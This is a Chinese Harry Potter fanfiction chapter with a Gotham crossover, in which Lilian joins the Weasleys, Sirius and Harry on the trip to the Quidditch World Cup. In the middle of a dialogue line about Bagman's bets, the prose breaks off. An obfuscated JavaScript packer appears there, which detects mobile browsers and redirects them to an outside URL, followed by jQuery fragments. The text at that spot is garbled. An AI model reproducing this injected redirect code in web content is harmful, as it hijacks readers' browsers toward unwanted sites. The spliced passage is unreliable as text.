韦斯莱家还是那么温馨。


    莫丽的怀抱让莉莉安有种一直沉浸下去的冲动，为了避免陋居太过拥挤，哈利和西里斯回布莱克老宅，莉莉安留在陋居。


    “能再见面真的让我太高兴了。”莉莉安依依不舍的松开莫丽的腰，“有什么吃的吗？我有点饿了。”


    “当然有，亲爱的。”莫丽把她拉进厨房，现在已经是后半夜了，但莉莉安没想到赫敏和金妮相互依靠着坐在小板凳上，“天哪，快醒醒！”莉莉安托起她俩的脸，赫敏和金妮睁开眼睛，迷迷糊糊地说：“哦，你终于来了。——哈利和我们说了，你没受伤吧？”


    “哦……”莉莉安心都软了，“我没事。快回去睡吧，明天我们一起吃早餐。”


    第二天休息好的莉莉安伸着懒腰，“早上好各位。——看看莫丽妈咪给我们做了什么好吃的？哦，你是——？”


    莉莉安打量着餐桌前穿得像摇滚巨星似的英俊男人，大脑飞速运转，从记忆深处扒拉出一份资料：“哦，你是比尔？百闻不如一见。”


    这个英俊的小伙子笑了：“是的，我是比尔·韦斯莱，你好莉莉安。”


    两人握手后，莉莉安又跑到莫丽身边：“早上吃什么？”


    莫丽笑呵呵地指着土豆，“一会儿去园子里吃饭，摆两张大桌子。”


    “好了，我知道了。”莉莉安举手投降，“工作还好吧？”


    “一切都好。因为魁地奇杯，幼儿园放了几天假。”


    壁炉传来响声，西里斯爽朗的声音在陋居内格外引人注目，莉莉安有满腹疑问等他解答，于是又急不可耐的向他走去。


    “早上好布莱克先生。”莉莉安轻轻拉着裙摆向他行礼，西里斯也欠了欠身，“早上好科波特小姐。——你可以叫我西里斯。”


    “我的荣幸西里斯，你也应该叫我莉莉安。——我好奇的事太多了，你能为我解答吗？”


    西里斯眨了眨左眼：“当然，你想知道什么？”


    莉莉安直言不讳：“你见过德思礼一家了吧？我很好奇，他们是怎么对待你的？”


    “那家麻瓜很幽默。”西里斯勉为其难地说，“但是他们有一些坏毛病，我帮他们改掉了。”


    闻言莉莉安挑起眉毛：“干得不错。——我还想知道，如今你靠什么生活呢？据我所知，布莱克家的金库被盗了……”


    “不用担心，布莱克家的财富不仅仅是在古灵阁里……”西里斯自信的昂起头颅，“而且魔法部给了我一笔补偿金，很阔绰。——还有一件事，”他正色道：“小矮星·彼得在阿兹卡班死了。”


    “什么？”莉莉安不能相信自己的耳朵，“他会越狱但不会死！特里劳尼预言了，他会和神秘人汇合！”


    西里斯的脸色难看起来，莉莉安咬牙切齿：“魔法部这些傲罗都是饭桶吗？他们一定搞错了！”


    哈利三个拉着莉莉安从后门走，到园子里去，赫敏的那只姜黄色的、罗圈腿的猫在园子里跑来跑去，瓶刷子似的尾巴高高地竖着，正在追赶一个地精。


    莉莉安抽出魔杖想帮帮它，就在这时，房子的另一头传来一声震耳欲聋的撞击声——比尔和查理调动两只破破烂烂的旧桌子在草坪上飞着，互相撞击着，每只桌子都想把对方从空中打落。


    弗雷德和乔治在一旁欢呼，金妮哈哈大笑，“梆”的一声，比尔的桌子击中了查理的桌子，把它的一条腿打掉了。这时，头顶上传来一阵清脆的撞击声。他们同时抬起头，看见珀西的脑袋从三楼的窗口探了出来。


    在珀西抱怨之前他们围到桌子边上，进行饭前的前置活动。


    陆陆续续有人下楼坐到餐桌旁，罗恩一边嚼着香肠一边问莉莉安：“昨天到底怎么了？”


    莉莉安正在享用莫丽为她做的独一份早餐——一碟煎香肠和溏心鸡蛋，还有两片烤西红柿，“哥谭有个死而复生的罪犯，跟疯了一样死咬着我家不放。第一次突围我没出去，本来已经打算放弃了，但是哈利打来电话，我不可能放过活命的机会。”


    “你开玩笑吧。”罗恩一点儿都不相信，“死而复生？”


    “众所周知哥谭人均两条命，只要灵魂不消亡，哪怕是脑洞大开、敞开心扉都能复活。——可以给我一杯水吗？”


    赫敏递给她一杯水，一边纠正她的美式口音一边问她复活的原理，莉莉安耸耸肩，坦诚道：“我不知道啊，我也没死过。等我哪天复活试试。”


    在桌子的那一头，珀西正在告诉父亲他撰写坩埚底厚度报告的情况。


    “我对克劳奇先生说，我星期二就能完成，”珀西挺得意地说，“比他预期的要快一些，但我想一切都争取主动。我如果按时完成，他会感到很满意的，因为目前我们司里事情特别多，都忙着筹备世界杯呢。我们从魔法体育运动司得不到我们所需要的支持。卢多·巴格曼——”


    “我喜欢卢多这个人，”韦斯莱先生温和地说，“多亏了他，替我们弄到这么好的世界杯球赛票。我原先帮过他一个小忙：他弟弟奥多出了点儿麻烦——把一架割草机弄出了许多特异功能——是我把整个事情摆平的。”


    “是啊，当然啦，巴格曼是挺可爱的，”珀西不以为然地说，“可是拿他和克劳奇先生一比，我真不明白他是怎么当上司长的！如果克劳奇先生发现我们司里有人失踪，一定会着手调查，而不会听之任之。你知道，伯莎·乔金斯已经失踪一个多月了！到阿尔巴尼亚度假，再也没有回来。”


    “克劳奇的事我知道。”莉莉安放下叉子，“马丁和我说过，这是英国魔法部的一个丑闻。——克劳奇的儿子小巴蒂·克劳奇是食死徒，本来老克劳奇都要选上部长了，硬是被他儿子拉下马。当年福吉的支持率并不高，巫师民众认为他太过软弱温和，老克劳奇的强硬风格铁血手腕很适合重建被神秘人蹂躏过的英国巫师界。”


    她撇了撇嘴，露出个复杂的表情：“养了个仇人。”


    珀西发出崩溃的尖叫。


    莫丽又把慈爱的目光放到比尔身上，尤其是他的耳坠，“……上面还带着一个可怕的大长牙。真的，比尔，银行里的人怎么说？”


    “妈，银行里的人根本不关心我穿什么衣服，只要我找回许多财宝就行。”比尔耐心地说。


    “你的头发也难看得要命，亲爱的，”韦斯莱夫人说着，一边慈爱地抚摸着自己的魔杖，“我真希望你能让我修剪一下……”


    “我喜欢。”坐在比尔旁边的金妮说道，“妈，你太落伍了。而且，和邓布利多教授的头发比起来，这根本不算长……”


    乔治和弗雷德一唱一和地说笑话，这舒适的环境让莉莉安放松下来，懒洋洋地咀嚼着烤得外焦里嫩的西红柿片，忽的，从陋居某处传来一道清晰的爆炸声，乔治和弗雷德的笑脸霎时间僵住了，莫丽的脸庞也染上怒意，但没发作。


    他们吃完饭后，双胞胎就被留堂了，西里斯和亚瑟任临时调解员。


    “双胞胎怎么了？”莉莉安跟在金妮身后，这位韦斯莱公主不以为然道：“妈妈打扫弗雷德和乔治的房间时，发现了一沓订货单，上面都是他们发明的玩艺儿：假魔杖、魔法糖什么的。好长时间了，我们总是听见他们房间里有爆炸的声音，但从来没想到他们真的在做东西，”金妮说，“我们还以为他们只是喜欢听响儿呢。——他们说要干一个韦斯莱魔法把戏坊。”


    “不过，那些东西大多数——唉，实际上是全部——都有点儿危险。”罗恩说，“他们计划把这些东西拿到霍格沃茨去卖，挣一笔钱。妈妈听说以后，简直气疯了。警告他们不许再搞这类玩意儿，还把他们的订货单烧了个精光……她一直就在生他们的气，他们的O.W.Ls成绩也让她失望。”


    金妮心有余悸，语调都沾染了后怕的意味：“那一次吵得可凶了。妈妈想让他们今后进魔法部工作，像爸爸那样，可他们对她说，他们只想开一家玩笑商店。”


    莉莉安想了想：“挺有想法的，如果计划案做的不错，还能够打动我，我会向他们注资的。”


    “哦，冷静点莉莉安！”赫敏皱眉，投来极其不赞同的眼光：“别让他们再吵架了！”


    珀西从门里探出脑袋，抱怨几句，莉莉安不咸不淡的回嘴：“听说你进魔法部了？恭喜恭喜，克劳奇那家伙不好伺候吧。”


    在珀西变脸前，罗恩哼了一声，带头快步走开。


    他的房间和以前没什么差别，只是少了一只肥懒的老鼠，多了一头叽叽喳喳的猫头鹰。


    “安静，小猪！”罗恩语气不善，莉莉安被这名字害得笑了一下，“今天你们几个人睡一个房间？”


    “哈利要回布莱克老宅吗？”罗恩瞅着哈利，哈利被问的一愣，莉莉安也反应过来：“对哦，哈利现在有个大房子住了。——你教父对你怎么样？”


    “好极了！”哈利的笑容如此灿烂，“从未如此好过，他像家人一样关心我，每天都美好的像做梦一样。——我和西里斯明天早点过来。”


    莉莉安心生感慨，单手捧起哈利的脸：“这是你应得的，亲爱的，你还值得更多好东西。”


    转过天凌晨两点多他们在一楼集合，所有人都没说话，睡眼惺忪。


    莉莉安穿着赫敏的运动裤、半截袖以及一件外套，勉强打起精神整理金妮的领子。


    西里斯穿着休闲西装，哈利也穿着同色衣服，莉莉安脱口而出：“怎么，穿亲子装啊？够温馨的。”


    西里斯和哈利大笑起来。


    “怎么样？”亚瑟急切地问，“我们去的时候应该隐瞒身份——我这样子像麻瓜吗，哈利？”


    哈利看着他那身像是高尔夫球衣一样的上衣和一条很旧的牛仔裤，连连点头。


    “出发了出发了！”整装待发，披星戴月，长途跋涉，他们步履艰难地顺着黑暗潮湿的小路，朝村庄的方向走去，四下里一片寂静，只听得见自己的脚步声。他们穿过村庄时，天色慢慢地亮了一些，原先的漆黑一片渐渐变成了深蓝色。


    他们开始爬白鼬山了，脚下不时被隐蔽的兔子洞绊一下，或者踩在黑漆漆、黏糊糊的草叶上打滑，根本匀不出气儿来说话，莉莉安身体素质比他们好一些，还有力气拉扯赫敏，但也仅限于此了。


    到达山顶后，“现在我们只需要找到门钥匙，”韦斯莱先生说着，戴上眼镜，眯着眼睛在地上寻视，“不会很大……快找一找……”


    大家散开，分头寻找。可是，他们刚找了两三分钟，就有一个喊声划破了宁静的夜空。


    “在这儿，亚瑟！过来，儿子我们找到了！”


    在山顶的另一边，星光闪烁的夜空衬托着两个高高的身影。


    “阿莫斯！”韦斯莱先生说，笑着大步走向那个喊他的男人。其他人跟了上去。


    这对父子眼熟的不得了——准确说是对儿子眼熟的不得了：赫奇帕奇的塞德里克。


    “嗨，你们好。”塞德里克说，转头望着大家。


    每个人都应了声“嗨”，气氛还算热情。


    “走过来很远吧，亚瑟？——哦，布莱克先生。”塞德里克的父亲对西里斯笑了笑，西里斯随意的和他握手，“你好，迪戈里先生。”


    “还好，”韦斯莱先生说，“我们就住在村庄的那一边。你们呢？”


    “两点钟就起床了，是不是，塞德？不瞒你说，我真愿意他早点通过幻影显形考试。不过……没什么可抱怨的……魁地奇世界杯嘛，绝不能错过，哪怕要出一口袋加隆——实际上，买票也确实花了那么多钱呢。不过我总算对付下来了，还不算太难……”阿莫斯·迪戈里和蔼地望着周围的韦斯莱家三兄弟、哈利、赫敏、金妮和莉莉安，“亚瑟，这些都是你的孩子？”


    “哦，不，红头发的才是。”韦斯莱先生把自己的孩子一一指出。“这是赫敏，罗恩的朋友——这是莉莉安，也是罗恩的朋友，这是哈利，也是罗恩的朋友——”


    莉莉安无比欣慰亚瑟把她放在哈利之前介绍，看看迪戈里先生激动的眼神。


    “当然啦，塞德谈到过你。”阿莫斯·迪戈里说，“他告诉了我们去年他和你比赛的事……我对他说，我说——塞德，这件事等你老了可以讲给你的孙子们听，很了不起……你和哈利·波特比赛！”


    西里斯顺嘴说了些赞扬塞德里克和哈利的话，他简直像个谦逊的家长。


    “时间差不多快到了，”韦斯莱先生赶紧说道，把怀表又掏出来看了看，“你知道我们还要等什么人吗，阿莫斯？”


    “不用了，洛夫古德一家一星期前就到了那里，福西特一家没有弄到票，”迪戈里先生说，“这片地区没有别人了，是吧？”


    “据我所知是没有了。”韦斯莱先生说，“好了，还有一分钟……我们应该各就各位了……”


    门钥匙的感觉可不好，就像一道钩子钩你的肚脐眼，他们站在那里，紧紧地围成一圈，一阵清冷的微风吹过山顶，没有人说话。


    “三……”韦斯莱先生一只眼睛盯着怀表，低声念道，“二……一……”


    一阵让人恶心的天旋地转，他们的肩膀撞到一起，一阵风似的向前疾飞，眼前什么也看不清。


    等莉莉安再次落到实地后，隐约听见西里斯的抱怨：“我开始想念我的摩托车了。”


    “什么摩托车？”莉莉安扶住脑袋：“德产日产？”


    西里斯整了整西装：“英产。”


    穿着短裙的巴兹尔先生为他们登记，韦斯莱先生带路找到场地管理员：一个麻瓜。


    在哈利帮亚瑟艰难辨认纸币后，他们终于找到了写有韦兹利牌子的空营地，随后他们开始扎帐篷。


    莉莉安作为唯一一个有一些野外生存经验的人，勇敢担起大梁，指使着几个男人和男孩把三个帐篷搭起来——没错，三个，一个女孩们的帐篷，两个其余男人和男孩的帐篷，由西里斯出资。


    韦斯莱先生拿起沾满灰尘的水壶，朝里面望了一下。“我们需要一些水……”


    “在那个麻瓜给我们的地图上，标着一个水龙头，”罗恩说，他也跟在哈利后面钻进了帐篷，似乎对帐篷内部不同寻常的空间熟视无睹，“在营地的另一边。”


    “好吧，那么你就和哈利、赫敏去给我们打点水来，然后——”韦斯莱先生递过那只他们带来的水壶和两口炖锅，“——我们剩下的人去捡点柴禾，准备生火，好吗？”


    “可是我们有炉子啊，”罗恩说，“为什么不能就——”


    “罗恩，别忘了防备麻瓜的安全条例！”韦斯莱先生说，因为跃跃欲试而满脸兴奋，“真正麻瓜宿营的时候，都在户外生火。我看见过的。”


    莉莉安饶有兴致的听亚瑟的安排，大力支持亚瑟的一切决议，这让亚瑟更加兴奋了。


    他们很快地参观了一下姑娘们的帐篷，发现只比男孩子的略小一点，不过没有猫味儿。


    等到生火吃饭，已经是两个小时后的事了，西里斯和亚瑟忙活的满头大汗，这时他俩不住的想念起莫丽。


    他们的帐篷似乎就在通向赛场的一条大路旁，部里的官员们在路上来来往往地奔走，每次经过时都向韦斯莱先生热情地打招呼。韦斯莱先生不停地作着介绍，这主要是为了哈利、赫敏、莉莉安以及老男孩西里斯，他自己的孩子对部里的人太熟悉了，引不起他们的兴趣。


    终于，火烧旺了，他们刚开始煎鸡蛋，煮香肠，比尔、查理和珀西便从树林里大步向他们走来。


    “刚刚幻影显形过来，爸爸。”珀西大声说道，“啊，太棒了，有好吃的！”


    他们美美地吃着鸡蛋和香肠，刚吃了一半，韦斯莱先生突然跳了起来，笑着向一个大步走过来的男人挥手致意。“哈利！”他说，“当前最重要的人物！卢多！”


    “啊嗬！”巴格曼开心地喊道。他走路一蹦一跳的，仿佛脚底下装了弹簧。他显然正处于极度兴奋的状态。


    “亚瑟，老伙计，”他来到篝火边，气喘吁吁地说，“天气多好啊，是不是？天气太棒了！这样的天气，哪儿找去！晚上肯定没有云……整个筹备工作井井有条……我没什么事情可做！”


    在他身后，一群面容憔悴的魔法部官员匆匆跑过，远处有迹象表明有人在玩魔火，紫色的火花蹿起二十多英尺高。


    珀西急忙上前一步，伸出手去。显然，他虽然对卢多·巴格曼管理他那个部门的方式不以为然，但这并不妨碍他想给别人留下一个好印象。


    “啊——对了，”韦斯莱先生笑着说，“这是我儿子珀西。刚刚到魔法部工作——这是弗雷德——不对，是乔治，对不起——那才是弗雷德——比尔、查理、罗恩——我的女儿金妮——这是西里斯·布莱克先生，这是罗恩的朋友，赫敏·格兰杰、莉莉安·科波特和哈利·波特。”


    听到哈利的名字，巴格曼微微显出吃惊的样子，他的眼睛立刻扫向哈利额头上的伤疤，哈利对此已是司空见惯。


    但他却又看了莉莉安一眼，“我想，你是马丁·科波特的妹妹？”


    莉莉安有些意外：“如果您说的是美国魔法部副部长，那我正是他的妹妹。”


    “我来给大家介绍一下，”韦斯莱先生继续说道，“这位是卢多·巴格曼，你们知道他是谁，我们多亏了他，才弄到这么好的票——”


    巴格曼满脸堆笑，挥了挥手，好像是说这不算什么。


    “想对比赛下个赌注吗，亚瑟？”他急切地问，把黄黑长袍的口袋弄得叮当直响，看来里面装了不少金币，“我已经说服罗迪·庞特内和我打赌，他说保加利亚会进第一个球——我给他定了很高的赔率，因为我考虑到爱尔兰的三号前锋是我这些年来见过的最棒的——小阿加莎·蒂姆斯把她的鳗鱼农庄的一半股票都压上了，打赌说比赛要持续一个星期。”


    “哦……那好吧，”韦斯莱先生说，“让我想想……我出一个加隆赌爱尔兰赢，行吗？”


    “一个加隆？”卢多·巴格曼显得有些失望，但很快就恢复了兴致，“很好，很好……还有别人想赌吗？”


    “他们还太小，不能赌博。”韦斯莱先生说，“莫丽不会愿意——”


    “我们压上三十七个加隆，十五个西可，三个纳特，”弗雷德说，他和乔治迅速掏出他们的钱，“赌爱尔兰赢——但威克多尔·克鲁姆会抓到金色飞贼。哦，对了，我们还要加上一根假魔杖。”


    “这个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415133|160360||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赌注有什么保障吗先生？”巴格曼还没来得及露出笑脸，哈利突兀地插上一嘴，“我是说，如果有足够的保障的话，我的教父也想赌上一笔。”


    西里斯迅速入戏，一脸正色地点头。


    巴格曼迟疑的“额”了一道长音。


    莉莉安瞥了哈利一眼略微思索：“赤胆忠心咒怎么样？”


    巴格曼吓一跳：“不至于吧？”


    “那就签合同吧。”莉莉安退而求其次，从赫敏的口袋里掏出羊皮纸和羽毛笔，魔杖轻轻点在羊皮纸上：“速速拟定——”


    “你们认为爱尔兰会赢，但克鲁姆能抓住金色飞贼？不可能，孩子们，不可能……我给你们很高的赔率……还要加上那根滑稽的魔杖换得的五个加隆，那么，我们要……”等到巴格曼犹犹豫豫地签上合约，莉莉安复制三份：“一式三份，我是见证人。事先说明，如果有人违约，嗓子眼里生出梅毒且不可治愈。”


    巴格曼：“……”


    又一会儿，巴蒂·克劳奇来了，他是一个五十来岁的男人，腰板挺直，动作生硬，穿着一尘不染的挺括西装，打着领带。短小胡子，像是比着滑尺修剪过的。


    “坐下歇会儿吧，巴蒂。”卢多高兴地说，拍了拍身边的草地。


    “不用，谢谢你，卢多，”克劳奇说，声音里有一丝不耐烦，“我一直在到处找你。保加利亚人坚持要我们在顶层包厢上再加十二个座位。”


    “噢，原来他们想要这个！”巴格曼说，“我还以为那家伙要向我借一把镊子呢。口音太重了。”


    “克劳奇先生！”珀西激动得气都喘不匀了。他倾着身子，做出鞠躬的姿势，这使他看上去像个驼背，“您想来一杯茶吗？”


    “哦，”克劳奇先生说，微微有些吃惊地打量着珀西，“好吧——谢谢你，韦瑟比。”


    弗雷德和乔治笑得差点儿把茶水喷在杯子里。珀西耳朵变成了粉红色，假装埋头照料茶壶。


    三个成年人开始寒暄，克劳奇对西里斯这个含冤入狱的可怜男人格外和善。


    当夜色像帘幕一样笼罩着成百上千个急切等待的巫师时，最后一丝伪装的痕迹也消失了：魔法部似乎屈服于不可避免的趋势，不再同人们作对，听任那些明显使用魔法的迹象在各处冒出来。


    每隔几步，就有幻影显形的小贩从天而降，端着托签署，推着小车，里面装满了稀奇古怪的玩艺儿。


    “攒了一夏天的零花钱，就是为了这个。”四个人悠闲地穿过那些小贩时，罗恩一边购买纪念品，一边对哈利说。


    罗恩买了一顶跳舞三叶草的帽子、一个绿色的玫瑰形大徽章，不过他同时也买了保加利亚找球手威克多尔·克鲁姆的一个小塑像。那个小型的克鲁姆在罗恩的手上来来回回地走，皱着眉头瞪着他上方的绿色徽章。


    莉莉安四处张望，间或偷笑，三个人都看她，她笑得更厉害了：“我在想德拉科会不会来。”


    “他肯定会啊。”罗恩用理所当然的口吻说。


    “你没看见吗？”哈利说，“那个养白孔雀的帐篷就是他家的。”


    “什么？！”


    其余三个人尖叫起来。


    “哇，快看这些！”哈利岔开话题，冲到一个小推车跟前，那车里高高地堆着许多像是双筒望远镜的东西，可是上面布满各种各样古怪的旋钮和转盘。


    “全景望远镜，”巫师小贩热情地推销道，罗恩被快速转移了注意力，“你可以重放画面……用慢动作放……如果需要的话，它还能迅速闪出赛况的分析。成交吧——十个加隆一架。”


    “我要是不买这个就好了。”罗恩瞅瞅他那顶跳舞三叶草的帽子，又眼馋地望着全景望远镜。


    “买四架。”哈利毫不迟疑地对那巫师说。


    “别——你别费心了。”罗恩说着，脸涨得通红。他知道，哈利继承了父母的一小笔遗产，比他有钱得多，他对这一事实总是很敏感。


    莉莉安很能共情他，她也对别人的加隆很敏感——特别是对别人兜里的加隆占有欲很强。


    “圣诞节你就别想收到礼物啦，”哈利对他说，一边把全景望远镜塞进他和赫敏手里，“记住，十年都不给你送礼啦！”


    “够合理的。”罗恩咧嘴一笑，说道。


    “嗬，谢谢你，哈利，”赫敏说，“我来给每人买一份比赛说明，瞧，就在那边——”


    莉莉安光棍地拎着诺亚从壁炉里抛出来的一兜子金加隆，挑挑拣拣，买了几件伴手礼。


    这时，树林远处的什么地方传来低沉浑厚的锣声，立刻，千盏万盏红红绿绿的灯笼在树上绽放光明，明亮了通往赛场的道路。


    “时间到了！”韦斯莱先生说道，看上去和大家一样兴奋。


    ……


    “一等票。”入口处的那位魔法部女巫师看了看他们的票说道，“顶层包厢！一直往楼上走，亚瑟，走到最顶上。”


    通向体育馆的楼梯上铺着紫红色的地毯。他们和人群一起拾级而上，慢慢地那些人流分别进了左右两边的看台。韦斯莱先生率领的这一行人一直往上走，最后到了楼梯顶上。他们发现自己来到了一个小包厢里，位置在体育馆的最高处，而且正对着金色的球门柱。这里有二十来张紫色和镀金坐椅，分成两排。


    他们的小包厢里还坐着一个恐高的家养小精灵，“那就是家养小精灵？”罗恩小声地问，“真是些古怪的家伙，是吗？”


    “多比还要古怪呢。”哈利很有感情地说。


    罗恩掏出他的全景望远镜，开始调试，他望着体育馆另一面的人群。


    “真棒啊！”他摆弄着望远镜侧面的重放旋钮，说道，“我可以让那边的那个老家伙再掏一遍鼻子……再掏一遍……再掏一遍……”


    莉莉安旁光不扫他半眼，“真够恶趣味的，罗恩。”


    这时，赫敏正在急切地翻看她那本天鹅绒封面的带流苏的比赛说明书。


    “比赛前将有球队吉祥物的表演。”她大声念道。


    “哦，那永远是值得一看的。”韦斯莱先生说，“你知道，各国家队从本国带来一些稀奇的动物，要在这里做一番表演。”


    在接下来的半小时里，他们所在的包厢里渐渐坐满了人。韦斯莱先生和西里斯不停地与人握手，那些人一看就是很有身份的大巫师。


    珀西一次次地匆忙站起来，看上去就像坐在满身是刺的豪猪背上。当魔法部部长康奈利·福吉本人驾到时，珀西因鞠躬鞠得太低，眼镜掉在地上，摔得粉碎。


    当康奈利·福吉像老朋友一样向哈利打招呼时，珀西朝哈利投去嫉妒的目光。


    福吉像父亲一般慈祥地握着哈利的手，向他和西里斯嘘寒问暖，并把他们介绍给保加利亚的魔法部部长。


    保加利亚巫师突然看到了哈利额头上的伤疤，立刻兴奋地用手指着它，嘴里大声地叽里咕噜说了一串话。


    “我就知道总会让他明白的。”福吉疲劳地对哈利说，“我对语言不太擅长，碰到这类事情，就需要巴蒂·克劳奇了。啊，我看见他的家养小精灵给他占了一个座位……想得真周到，保加利亚的这些家伙总想把最好的座位都骗到手……”


    莉莉安插嘴道：“他说‘我知道哈利·波特，大难不死的男孩，他的头上竟然真的有一道闪电疤——大概是这个意思。”


    福吉惊喜地看向她，“你懂语言？！”


    “我一个哥哥在保加利亚上学，我大概能听懂一些。”莉莉安谦逊的姿态让福吉容光焕发，“太好了 ，请让我为你介绍，她是美国魔法部副部长的妹妹——啊，卢修斯来了！”


    他们远远的看见三颗金色脑袋走来，德拉科此人穿着规矩的黑西装，脸上挂着似有似无的笑容。


    “啊，福吉，”马尔福走过魔法部部长身边时，伸出手去，“你好。我想你还没有见过我的妻子纳西莎吧？还有我们的儿子德科拉。”


    “你好，你好，”福吉说，笑着对马尔福夫人鞠了个躬，“请允许我把你介绍给奥伯兰期克先生——奥巴隆斯克先生——他是保加利亚魔法部的部长，没关系，反正他根本听不懂我在说些什么。让我看看还有谁——你认识亚瑟·韦斯莱吧？”


    其余人眉梢都是一跳。


    “天哪，亚瑟，”他轻声说道，“你卖了什么才弄到了这顶层包厢的座——”


    他话没说完，马尔福夫人用强硬的手段制止他的话头，随后她用温和的语调说：“好久不见韦斯莱先生。——哈利、西里斯，假期还好吗？”


    哈利感情很充沛：“很不错，纳西莎。”


    西里斯似笑非笑地乜着卢修斯，没说话。


    不甘寂寞的德拉科用炫耀的语气说：“我们在部长包厢里看比赛——”


    莉莉安：“我的一双高跟鞋的装饰钻被爱德华二世咬掉了。”


    德拉科愣了一下：“这有什么关系吗？”


    莉莉安面无表情：“哦，对不起，我以为我们在谈论那些无人在意的事。”


    “……”德拉科的脸部肌肉似乎抽搐了一下，“没必要这么刻薄吧？科波特。”


    莉莉安回敬一个笑脸：“你先开始的。”